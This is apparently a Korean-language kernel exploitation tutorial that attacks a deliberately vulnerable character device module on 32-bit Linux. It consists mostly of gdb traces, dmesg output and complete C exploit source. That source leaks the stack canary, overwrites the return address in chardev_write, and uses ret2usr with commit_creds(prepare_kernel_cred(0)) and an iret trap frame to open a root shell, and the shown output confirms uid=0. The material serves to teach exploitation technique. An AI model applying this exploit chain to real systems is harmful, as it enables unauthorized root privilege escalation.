Breakpoint 6, 0xf9ab00e0 in ?? () (gdb) x/30i $eip => 0xf9ab00e0: int3 0xf9ab00e1: mov ebp,esp 0xf9ab00e3: push edi 0xf9ab00e4: push esi 0xf9ab00e5: push ebx 0xf9ab00e6: sub esp,0x4c 0xf9ab00e9: lea esi,ds:[esi+eiz*1+0x0] 0xf9ab00ee: lea ebx,[ebp-0x50] 0xf9ab00f1: mov edi,edx 0xf9ab00f3: mov DWORD PTR [esp],0xf9ab1084 0xf9ab00fa: mov esi,ecx 0xf9ab00fc: mov eax,gs:0x14 0xf9ab0102: mov DWORD PTR [ebp-0x10],eax 0xf9ab0105: xor eax,eax 0xf9ab0107: call 0xc1705c69 <printk> 0xf9ab010c: mov DWORD PTR [esp+0x4],ebx 0xf9ab0110: mov DWORD PTR [esp],0xf9ab10b4 0xf9ab0117: call 0xc1705c69 <printk> 0xf9ab011c: mov ecx,esi 0xf9ab011e: mov edx,edi 0xf9ab0120: mov eax,ebx 0xf9ab0122: call 0xc1351a90 <_copy_from_user> 0xf9ab0127: test eax,eax 0xf9ab0129: je 0xf9ab0149 0xf9ab012b: mov eax,0xfffffff2 0xf9ab0130: mov edx,DWORD PTR [ebp-0x10] 0xf9ab0133: xor edx,DWORD PTR gs:0x14 0xf9ab013a: jne 0xf9ab0144 0xf9ab013c: add esp,0x4c 0xf9ab013f: pop ebx (gdb) b *0xf9ab0122 Breakpoint 7 at 0xf9ab0122 (gdb) b *0xf9ab0133 Breakpoint 8 at 0xf9ab0133 (gdb) c Continuing. |
다음과 같이 _copy_from_user() 함수의 인자 값들을 확인할 수 있습니다.
1번째 인자 값으로 커널 영역의 data 변수 주소 값
2번째 인자 값으로 유저 영역의 buf 변수 주소 값
0x804a140 영역에 Canary 값이 저장되어있습니다.
3번째 인자 값으로 데이터를 복사할 크기
_copy_from_user() 함수 호출 후 data 변수에 buf 변수의 데이터가 모두 복사되었습니다.
Breakpoint 7, 0xf9ab0122 in ?? () (gdb) i r eax edx ecx eax 0xf3065ef4 -217686284 edx 0x804a100 134521088 ecx 0x44 68 (gdb) x/20wx 0xf3065ef4 0xf3065ef4: 0xf3065f00 0xc1712638 0xf9ab00e0 0xf3065f58 0xf3065f04: 0xc1711cf8 0xf9ab00e0 0x00000044 0x0804a100 0xf3065f14: 0xf3065f90 0x0804a100 0xf3065f58 0xf2a6aa80 0xf3065f24: 0x0000007b 0xe7a2007b 0xf30600d8 0xc11a00e0 0xf3065f34: 0xb985d68b 0xf9ab00e0 0xf3065f90 0x0804a100 (gdb) x/20wx 0x804a100 0x804a100: 0x41414141 0x41414141 0x41414141 0x41414141 0x804a110: 0x41414141 0x41414141 0x41414141 0x41414141 0x804a120: 0x41414141 0x41414141 0x41414141 0x41414141 0x804a130: 0x41414141 0x41414141 0x41414141 0x41414141 0x804a140: 0xb985d68b 0x00000000 0x00000000 0x00000000 (gdb) c Continuing. Breakpoint 8, 0xf9ab0133 in ?? () (gdb) i r edx edx 0xb985d68b -1182411125 (gdb) c Continuing. |
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ ./canary 65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21 | e. Best of luck! 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 8b d6 85 b9 60 01 ab f9 90 5f 06 f3 80 a0 04 08 | ?օ?`???_? 5c 5f 06 f3 5f e8 1a c1 90 5f 06 f3 80 aa a6 f2 | \_?_???_? canary is :8b d6 85 b9 lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ |
Breakpoint 6, 0xf9ab00e0 in ?? () (gdb) i r esp esp 0xf3065f48 0xf3065f48 (gdb) x/wx 0xf3065f48 0xf3065f48: 0xc11ae95f (gdb) x/40i $eip => 0xf9ab00e0: int3 0xf9ab00e1: mov ebp,esp 0xf9ab00e3: push edi 0xf9ab00e4: push esi ... 0xf9ab0133: xor edx,DWORD PTR gs:0x14 0xf9ab013a: jne 0xf9ab0144 0xf9ab013c: add esp,0x4c 0xf9ab013f: pop ebx 0xf9ab0140: pop esi 0xf9ab0141: pop edi 0xf9ab0142: pop ebp 0xf9ab0143: ret 0xf9ab0144: call 0xc1066890 <__stack_chk_fail> 0xf9ab0149: mov DWORD PTR [esp+0x4],ebx 0xf9ab014d: mov DWORD PTR [esp],0xf9ab10e8 0xf9ab0154: call 0xc1705c69 <printk> 0xf9ab0159: mov eax,esi 0xf9ab015b: jmp 0xf9ab0130 (gdb) b *0xf9ab0143 Breakpoint 9 at 0xf9ab0143 (gdb) c Continuing. Breakpoint 7, 0xf9ab0122 in ?? () (gdb) i r eax eax 0xf3065ef4 -217686284 (gdb) c Continuing. Breakpoint 8, 0xf9ab0133 in ?? () (gdb) c Continuing. Breakpoint 9, 0xf9ab0143 in ?? () (gdb) i r esp esp 0xf3065f48 0xf3065f48 (gdb) p/d 0xf3065f48 - 0xf3065ef4 $3 = 84 (gdb) |
//gcc -static -o overflow overflow.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #define TEXT_LEN 64 int main() { static char buf[128],rop[128]; char canary[4]; int fd,i,j; if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); } lseek(fd, 32, SEEK_CUR); read(fd, buf, TEXT_LEN); printf("%s\n",buf); for (i = 0; i < 4; i++) { for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff); printf(" | "); for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff); printf("\n"); } memcpy(canary, buf+32,4); printf("canary is :"); for(i = 0;i < 4;i++){ printf("%02x ",canary[i] & 0xff); } printf("\n"); memset(rop, 'A', 64); memcpy(rop+64, canary, 4); memset(rop+68, 'B', 16); memset(rop+84, 'C', 4); write(fd, rop, 88); if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; } |
Breakpoint 9, 0xf9ab0143 in ?? () (gdb) i r esp esp 0xe018bf48 0xe018bf48 (gdb) x/wx 0xe018bf48 0xe018bf48: 0x43434343 (gdb) |
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ ./test4 65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21 | e. Best of luck! 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | c4 ce 40 6f 60 01 ab f9 90 bf 18 e0 80 a0 04 08 | ??@o`??????? 5c bf 18 e0 5f e8 1a c1 90 bf 18 e0 00 df 10 f3 | \??_??????? canary is :c4 ce 40 6f Killed lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ |
에러 메시지에서 "Code: Bad EIP value." 라고 출력하는 것을 확인할 수 있습니다.
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ dmesg |tail -n 47 [ 3653.368679] NMI watchdog: BUG: soft lockup - CPU#0 stuck for 34s! [test4:3823] [ 3653.368682] Modules linked in: chardev(OE) snd_ens1371 coretemp crc32_pclmul snd_ac97_codec gameport ac97_bus vmw_balloon snd_pcm snd_seq_midi snd_seq_midi_event snd_rawmidi aesni_intel aes_i586 xts lrw gf128mul ablk_helper cryptd joydev input_leds serio_raw snd_seq uvcvideo videobuf2_vmalloc snd_seq_device snd_timer videobuf2_memops videobuf2_core v4l2_common videodev snd vmwgfx media ttm btusb btrtl btbcm btintel soundcore drm_kms_helper drm i2c_piix4 vmw_vmci shpchp nfit rfcomm bnep bluetooth 8250_fintek parport_pc ppdev lp parport mac_hid hid_generic usbhid hid psmouse ahci mptspi mptscsih mptbase libahci pcnet32 mii scsi_transport_spi pata_acpi [ 3653.368753] CPU: 0 PID: 3823 Comm: test4 Tainted: G OEL 4.2.0-27-generic #32~14.04.1-Ubuntu [ 3653.368754] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 07/02/2015 [ 3653.368756] task: e7b35000 ti: e018a000 task.ti: e018a000 [ 3653.368757] EIP: 0060:[<43434343>] EFLAGS: 00000292 CPU: 0 [ 3653.368758] EIP is at 0x43434343 [ 3653.368759] EAX: 00000058 EBX: 42424242 ECX: 00000246 EDX: 00000000 [ 3653.368760] ESI: 42424242 EDI: 42424242 EBP: 42424242 ESP: e018bf4c [ 3653.368761] DS: 007b ES: 007b FS: 00d8 GS: 00e0 SS: 0068 [ 3653.368762] CR0: 80050033 CR2: b76a50c0 CR3: 2bfdbcc0 CR4: 000406f0 [ 3653.368775] Stack: [ 3653.368776] e018bf90 f310df00 00000058 e018bf80 c11aeeb3 e018bf90 b76a50c0 00000000 [ 3653.368778] 00000000 00000003 f310df00 f310df00 0804a100 e018bfa4 c11af7a6 e018bf90 [ 3653.368780] 00000058 00000020 00000000 00000003 00000000 00000000 e018a000 c171111f [ 3653.368782] Call Trace: [ 3653.368818] [<c11aeeb3>] ? vfs_write+0x93/0x1a0 [ 3653.368820] [<c11af7a6>] ? SyS_write+0x46/0x90 [ 3653.368822] [<c171111f>] ? sysenter_do_call+0x12/0x12 [ 3653.368823] Code: Bad EIP value. [ 3653.464651] kernel tried to execute NX-protected page - exploit attempt? (uid: 1000) [ 3653.464655] BUG: unable to handle kernel paging request at 43434343 [ 3653.464657] IP: [<43434343>] 0x43434343 [ 3653.464659] *pdpt = 000000003599f001 *pde = 0000000000000000 [ 3653.464661] Oops: 0010 [#1] SMP [ 3653.464663] Modules linked in: chardev(OE) snd_ens1371 coretemp crc32_pclmul snd_ac97_codec gameport ac97_bus vmw_balloon snd_pcm snd_seq_midi snd_seq_midi_event snd_rawmidi aesni_intel aes_i586 xts lrw gf128mul ablk_helper cryptd joydev input_leds serio_raw snd_seq uvcvideo videobuf2_vmalloc snd_seq_device snd_timer videobuf2_memops videobuf2_core v4l2_common videodev snd vmwgfx media ttm btusb btrtl btbcm btintel soundcore drm_kms_helper drm i2c_piix4 vmw_vmci shpchp nfit rfcomm bnep bluetooth 8250_fintek parport_pc ppdev lp parport mac_hid hid_generic usbhid hid psmouse ahci mptspi mptscsih mptbase libahci pcnet32 mii scsi_transport_spi pata_acpi [ 3653.464687] CPU: 0 PID: 3823 Comm: test4 Tainted: G OEL 4.2.0-27-generic #32~14.04.1-Ubuntu [ 3653.464688] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 07/02/2015 [ 3653.464689] task: e7b35000 ti: e018a000 task.ti: e018a000 [ 3653.464690] EIP: 0060:[<43434343>] EFLAGS: 00010292 CPU: 0 [ 3653.464692] EIP is at 0x43434343 [ 3653.464692] EAX: 00000058 EBX: 42424242 ECX: 00000246 EDX: 00000000 [ 3653.464693] ESI: 42424242 EDI: 42424242 EBP: 42424242 ESP: e018bf4c [ 3653.464694] DS: 007b ES: 007b FS: 00d8 GS: 00e0 SS: 0068 [ 3653.464695] CR0: 80050033 CR2: 09f799b4 CR3: 2bfdbcc0 CR4: 000406f0 [ 3653.464699] Stack: [ 3653.464700] e018bf90 f310df00 00000058 e018bf80 c11aeeb3 e018bf90 b76a50c0 00000000 [ 3653.464702] 00000000 00000003 f310df00 f310df00 0804a100 e018bfa4 c11af7a6 e018bf90 [ 3653.464704] 00000058 00000020 00000000 00000003 00000000 00000000 e018a000 c171111f [ 3653.464706] Call Trace: [ 3653.464711] [<c11aeeb3>] ? vfs_write+0x93/0x1a0 [ 3653.464713] [<c11af7a6>] ? SyS_write+0x46/0x90 [ 3653.464716] [<c171111f>] ? sysenter_do_call+0x12/0x12 [ 3653.464717] Code: Bad EIP value. [ 3653.464718] EIP: [<43434343>] 0x43434343 SS:ESP 0068:e018bf4c [ 3653.464719] CR2: 0000000043434343 [ 3653.464721] ---[ end trace 1a4cd02c5eefac55 ]--- lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ |
ret2usr 기법을 이용한 Exploit의 순서는 다음과 같습니다.
|
commit_creds(prepare_kernel_cred(NULL)); system("/bin/sh"); |
|
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ sudo cat /proc/kallsyms |grep prepare_kernel_cred c1082e20 T prepare_kernel_cred c19d16e4 R __ksymtab_prepare_kernel_cred c19dea74 r __kcrctab_prepare_kernel_cred c19e5f5f r __kstrtab_prepare_kernel_cred lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ sudo cat /proc/kallsyms |grep commit_creds c1082b60 T commit_creds c19cd2cc R __ksymtab_commit_creds c19dc868 r __kcrctab_commit_creds c19e5f9b r __kstrtab_commit_creds lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ |
//gcc -static -o rettousr rettousr.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <stdint.h> #define TEXT_LEN 64 unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred); unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred); void payload(void) { commit_creds(prepare_kernel_cred(0)); execl("/bin/sh", "sh", NULL); } unsigned long kallsym_getaddr(const char* str) { FILE *stream; char fbuf[256]; char addr[32]; stream = fopen("/proc/kallsyms","r"); if(stream < 0) { printf("failed to open /proc/kallsyms\n"); return 0; } memset(fbuf,0x00,sizeof(fbuf)); while(fgets(fbuf,256,stream) != NULL) { char *p = fbuf; char *a = addr; if(strlen(fbuf) == 0) continue; memset(addr,0x00,sizeof(addr)); fbuf[strlen(fbuf)-1] = '\0'; while(*p != ' ') *a++ = *p++; p+=3; if(!strcmp(p,str)) return strtoul(addr, NULL, 16); } return 0; } int main() { static char buf[128],rop[128]; char canary[4]; int fd,i,j; //Find the address of "commit_creds()" commit_creds = kallsym_getaddr("commit_creds"); if(commit_creds == 0) { printf("failed to get commit_creds address\n"); return 0; } printf("commit_creds address is :%p\n",commit_creds); //Find the address of "prepare_kernel_cred()" prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred"); if(prepare_kernel_cred == 0) { printf("failed to get prepare_kernel_cred address\n"); return 0; } printf("prepare_kernel_cred address is :%p\n",prepare_kernel_cred); //leak the canary if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); } lseek(fd, 32, SEEK_CUR); read(fd, buf, TEXT_LEN); for (i = 0; i < 4; i++) { for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff); printf(" | "); for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff); printf("\n"); } memcpy(canary, buf+32,4); printf("canary is :"); for(i = 0;i < 4;i++){ printf("%02x ",canary[i] & 0xff); } printf("\n"); //Exploit code memset(rop, 'A', 64); memcpy(rop+64, canary, 4); memset(rop+68, 'B', 16); *((void**)(rop+84)) = &payload; //Overflow write(fd, rop, 88); if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; } |
commit_creds address is :0xc1082b60
prepare_kernel_cred address is :0xc1082e20
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ ./test6 commit_creds address is :0xc1082b60 prepare_kernel_cred address is :0xc1082e20 65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21 | e. Best of luck! 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 28 2f 16 b8 60 51 27 fb 90 7f c0 c0 a0 bf 0e 08 | (/�`Q'������ 5c 7f c0 c0 5f e8 1a c1 90 7f c0 c0 40 85 d2 d8 | \��_�����@�� canary is :28 2f 16 b8 Segmentation fault (core dumped) lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ |
앞에서 프로그램이 종료된 원인을 확인하기 위해 core파일을 분석해 보겠습니다.
core 파일을 통해 레지스터의 값을 확인하면 대부분의 값 들이 Kernel-space 라는 것을 확인할 수 있습니다.
User-space에서 Kernel-space로 이동하게 되면 사용하게 되는 stack pointer들이 달라지며, Kernel-space에서 User-space로 이동 할 경우에도 stack pointer에 대한 복원이 필요합니다.
앞에서 작성한 ret2usr로 쉘을 획득할 수 없는 이유도 Kernel-space에서 User-space의 함수를 호출 하기전에 stack pointer의 복원이 없었기 때문입니다.
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ sudo gdb -q ./test6 ./core Reading symbols from ./test6...(no debugging symbols found)...done. [New LWP 3383] Core was generated by `./test6'. Program terminated with signal SIGSEGV, Segmentation fault. #0 0xb7704cb0 in ?? () (gdb) bt Python Exception <class 'gdb.MemoryError'> Cannot access memory at address 0xc4854edc: #0 0xb7704cb0 in ?? () Cannot access memory at address 0xc4854edc (gdb) i r eax 0xfffffff2 -14 ecx 0xc4854f10 -997896432 edx 0xbfd4f77c -1076562052 ebx 0x80bf3cb 135001035 esp 0xc4854ed8 0xc4854ed8 ebp 0xc4854ed8 0xc4854ed8 esi 0xc4855f3c -997892292 edi 0xc4854f10 -997896432 eip 0xb7704cb0 0xb7704cb0 eflags 0x10246 [ PF ZF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x0 0 (gdb) |
이러한 문제는 iret(iretq with 64-bit)명령어를 이용하여 해결할 수 있습니다.
iret 명령어는 인터럽트로 중단 된 프로그램 또는 프로시저(procedure)로 프로그램 제어를 반환하는 명령어입니다.
즉, iret 명령어가 실행되면, 대피시킨 PC 값을 복원하여 이전 실행 위치로 복원한다.
iret명령어를 이용하기 위해
다음과 같이 특정 스택 레이아웃이 필요합니다.
|
다음과 같이 stack pointer 복원 코드를 구현 할 수 있습니다.
어셈블리 코드를 이용하여 stack layout에 필요한 레지스터의 값을 tf 구조체에 저장하는 함수(prepare_tf)를 구현합니다.
EIP 영역에는 shell을 실행하는 함수의 주소를 저장합니다.
struct trap_frame { void * eip; uint32_t cs; uint32_t eflags; void * esp; uint32_t ss; } __attribute__((packed)); struct trap_frame tf; void getShell(void) { execl("/bin/sh", "sh", NULL); } void prepare_tf(void) { asm("pushl %cs; popl tf+4;" "pushfl; popl tf+8;" "pushl %esp; popl tf+12;" "pushl %ss; popl tf+16;"); tf.eip = &getShell ; tf.esp -= 1024; // unused part of stack } void payload(void) { commit_creds(prepare_kernel_cred(0)); asm("mov $tf, %esp;" "iret ;"); } ... |
... //Exploit code memset(rop, 'A', 64); memcpy(rop+64, canary, 4); memset(rop+68, 'B', 16); *((void**)(rop+84)) = &payload; prepare_tf(); //Overflow write(fd, rop, 88); if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; } |
해당 디버깅을 진행하기 전에 커널 모듈 등록, 디버깅 설정을 초기화합니다.
필수는 아니며 기존에 설정된 환경을 그대로 사용하셔도 됩니다.
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ sudo rmmod chardev lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ sudo insmod chardev.ko lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ sudo chmod 666 /dev/chardev0 lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ cat /proc/kallsyms |grep chardev. f84ce000 t chardev_lseek [chardev] f84ce0a0 t chardev_release [chardev] f84ce0e0 t chardev_write [chardev] f84ce160 t chardev_read [chardev] f84ce260 t chardev_init [chardev] f84d02dc b chardev_major [chardev] f84d02a0 b chardev_cdev [chardev] f84d0280 b __key.24596 [chardev] f84d0280 b chardev_class [chardev] f84ce3a0 t chardev_exit [chardev] f84d0080 d __this_module [chardev] f84d0000 d chardev_fops [chardev] f84ce3a0 t cleanup_module [chardev] f84ce260 t init_module [chardev] lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ |
다음과 같이 Breakpoint를 설정합니다.
0xf84ce0e0 : chardev_write() 함수의 시작 주소
0xf84ce143 : chardev_write() 함수의 ret 명령어 실행 전
(gdb) c Continuing. ^C Program received signal SIGINT, Interrupt. native_safe_halt () at /build/linux-lts-wily-tX9IYW/linux-lts-wily-4.2.0/arch/x86/include/asm/irqflags.h:50 50 in /build/linux-lts-wily-tX9IYW/linux-lts-wily-4.2.0/arch/x86/include/asm/irqflags.h (gdb) d Delete all breakpoints? (y or n) y (gdb) b *0xf84ce0e0 Breakpoint 1 at 0xf84ce0e0 (gdb) c Continuing. Breakpoint 1, 0xf84ce0e0 in ?? () (gdb) x/40i $eip => 0xf84ce0e0: int3 0xf84ce0e1: mov ebp,esp 0xf84ce0e3: push edi 0xf84ce0e4: push esi 0xf84ce0e5: push ebx 0xf84ce0e6: sub esp,0x4c 0xf84ce0e9: lea esi,ds:[esi+eiz*1+0x0] 0xf84ce0ee: lea ebx,[ebp-0x50] 0xf84ce0f1: mov edi,edx 0xf84ce0f3: mov DWORD PTR [esp],0xf84cf084 0xf84ce0fa: mov esi,ecx 0xf84ce0fc: mov eax,gs:0x14 0xf84ce102: mov DWORD PTR [ebp-0x10],eax 0xf84ce105: xor eax,eax 0xf84ce107: call 0xc1705c69 <printk> 0xf84ce10c: mov DWORD PTR [esp+0x4],ebx 0xf84ce110: mov DWORD PTR [esp],0xf84cf0b4 0xf84ce117: call 0xc1705c69 <printk> 0xf84ce11c: mov ecx,esi 0xf84ce11e: mov edx,edi 0xf84ce120: mov eax,ebx 0xf84ce122: call 0xc1351a90 <_copy_from_user> 0xf84ce127: test eax,eax 0xf84ce129: je 0xf84ce149 0xf84ce12b: mov eax,0xfffffff2 0xf84ce130: mov edx,DWORD PTR [ebp-0x10] 0xf84ce133: xor edx,DWORD PTR gs:0x14 0xf84ce13a: jne 0xf84ce144 0xf84ce13c: add esp,0x4c 0xf84ce13f: pop ebx 0xf84ce140: pop esi 0xf84ce141: pop edi 0xf84ce142: pop ebp 0xf84ce143: ret 0xf84ce144: call 0xc1066890 <__stack_chk_fail> 0xf84ce149: mov DWORD PTR [esp+0x4],ebx 0xf84ce14d: mov DWORD PTR [esp],0xf84cf0e8 0xf84ce154: call 0xc1705c69 <printk> 0xf84ce159: mov eax,esi 0xf84ce15b: jmp 0xf84ce130 (gdb) b *0xf84ce143 Breakpoint 2 at 0xf84ce143 (gdb) c Continuing. |
해당 코드의 동작을 확인하기 위해 0x8048ebe에 Breakpoint를 설정합니다.
Breakpoint 2, 0xf84ce143 in ?? () (gdb) x/wx $esp 0xf4cb5f48: 0x08048ea2 (gdb) si 0x08048ea2 in ?? () (gdb) x/20i $eip => 0x8048ea2: push ebp 0x8048ea3: mov ebp,esp 0x8048ea5: push ebx 0x8048ea6: sub esp,0x4 0x8048ea9: mov ebx,DWORD PTR ds:0x80ed054 0x8048eaf: mov edx,DWORD PTR ds:0x80ed058 0x8048eb5: mov eax,0x0 0x8048eba: call edx 0x8048ebc: call ebx 0x8048ebe: mov esp,0x80ed040 0x8048ec3: iret 0x8048ec4: add esp,0x4 0x8048ec7: pop ebx 0x8048ec8: pop ebp 0x8048ec9: ret 0x8048eca: push ebp 0x8048ecb: mov ebp,esp 0x8048ecd: push ebx 0x8048ece: sub esp,0x144 0x8048ed4: mov eax,DWORD PTR [ebp+0x8] (gdb) b *0x8048ebe Breakpoint 3 at 0x8048ebe (gdb) c Continuing. |
Breakpoint 3, 0x08048ebe in ?? () (gdb) x/10wx 0x80ed040 0x80ed040: 0x08048e44 0x00000073 0x00000206 0xbfcebaf8 0x80ed050: 0xbfce007b 0xc1082b60 0xc1082e20 0x00000000 0x80ed060: 0x00000028 0x00000040 (gdb) si 0x08048ec3 in ?? () (gdb) i r eax 0x0 0 ecx 0x0 0 edx 0x40 64 ebx 0xc1082b60 -1056429216 esp 0x80ed040 0x80ed040 ebp 0xf4cb5f48 0xf4cb5f48 esi 0x42424242 1111638594 edi 0x42424242 1111638594 eip 0x8048ec3 0x8048ec3 eflags 0x246 [ PF ZF IF ] cs 0x60 96 ss 0x68 104 ds 0x7b 123 es 0x7b 123 fs 0xd8 216 gs 0xe0 224 (gdb) si 0x08048e44 in ?? () (gdb) i r eax 0x0 0 ecx 0x0 0 edx 0x40 64 ebx 0xc1082b60 -1056429216 esp 0xbfcebaf8 0xbfcebaf8 ebp 0xf4cb5f48 0xf4cb5f48 esi 0x42424242 1111638594 edi 0x42424242 1111638594 eip 0x8048e44 0x8048e44 eflags 0x206 [ PF IF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x0 0 (gdb) c Continuing. |
lazenca0x0@ubuntu:~/Kernel/Exploit/StackSmashing$ ./exploit commit_creds address is :0xc1082b60 prepare_kernel_cred address is :0xc1082e20 65 2e 20 42 65 73 74 20 6f 66 20 6c 75 63 6b 21 | e. Best of luck! 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | 9f 62 5f 66 60 e1 4c f8 90 5f cb f4 a0 bf 0e 08 | ?b_f`?L??_???? 5c 5f cb f4 5f e8 1a c1 90 5f cb f4 40 75 f5 e4 | \_??_???_??@u?? canary is :9f 62 5f 66 # id uid=0(root) gid=0(root) groups=0(root) # |
//gcc -static -o exploit exploit.c #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <stdint.h> #define TEXT_LEN 64ls struct trap_frame { void * eip ; // instruction pointer uint32_t cs ; // code segment uint32_t eflags ; // CPU flags void * esp ; // stack pointer uint32_t ss ; // stack segment } __attribute__((packed)); struct trap_frame tf; void getShell(void) { execl("/bin/sh", "sh", NULL); } void prepare_tf(void) { asm("pushl %cs; popl tf+4;" "pushfl; popl tf+8;" "pushl %esp; popl tf+12;" "pushl %ss; popl tf+16;"); tf.eip = &getShell ; tf.esp -= 1024; // unused part of stack } unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned long cred); unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsigned long cred); void payload(void) { commit_creds(prepare_kernel_cred(0)); asm("mov $tf, %esp;" "iret ;"); } unsigned long kallsym_getaddr(const char* str) { FILE *stream; char fbuf[256]; char addr[32]; stream = fopen("/proc/kallsyms","r"); if(stream < 0) { printf("failed to open /proc/kallsyms\n"); return 0; } memset(fbuf,0x00,sizeof(fbuf)); while(fgets(fbuf,256,stream) != NULL) { char *p = fbuf; char *a = addr; if(strlen(fbuf) == 0) continue; memset(addr,0x00,sizeof(addr)); fbuf[strlen(fbuf)-1] = '\0'; while(*p != ' ') *a++ = *p++; p+=3; if(!strcmp(p,str)) return strtoul(addr, NULL, 16); } return 0; } int main() { static char buf[128],rop[128]; char canary[4]; int fd,i,j; //Find the address of "commit_creds()" commit_creds = kallsym_getaddr("commit_creds"); if(commit_creds == 0) { printf("failed to get commit_creds address\n"); return 0; } printf("commit_creds address is :%p\n",commit_creds); //Find the address of "prepare_kernel_cred()" prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred"); if(prepare_kernel_cred == 0) { printf("failed to get prepare_kernel_cred address\n"); return 0; } printf("prepare_kernel_cred address is :%p\n",prepare_kernel_cred); //leak the canary if ((fd = open("/dev/chardev0", O_RDWR)) < 0){ printf("Cannot open /dev/chardev0. Try again later.\n"); } lseek(fd, 32, SEEK_CUR); read(fd, buf, TEXT_LEN); for (i = 0; i < 4; i++) { for (j = 0; j < 16; j++) printf("%02x ", buf[i*16+j] & 0xff); printf(" | "); for (j = 0; j < 16; j++) printf("%c", buf[i*16+j] & 0xff); printf("\n"); } memcpy(canary, buf+32,4); printf("canary is :"); for(i = 0;i < 4;i++){ printf("%02x ",canary[i] & 0xff); } printf("\n"); //Exploit code memset(rop, 'A', 64); memcpy(rop+64, canary, 4); memset(rop+68, 'B', 16); *((void**)(rop+84)) = &payload; prepare_tf(); //Overflow write(fd, rop, 88); if (close(fd) != 0){ printf("Cannot close.\n"); } return 0; } |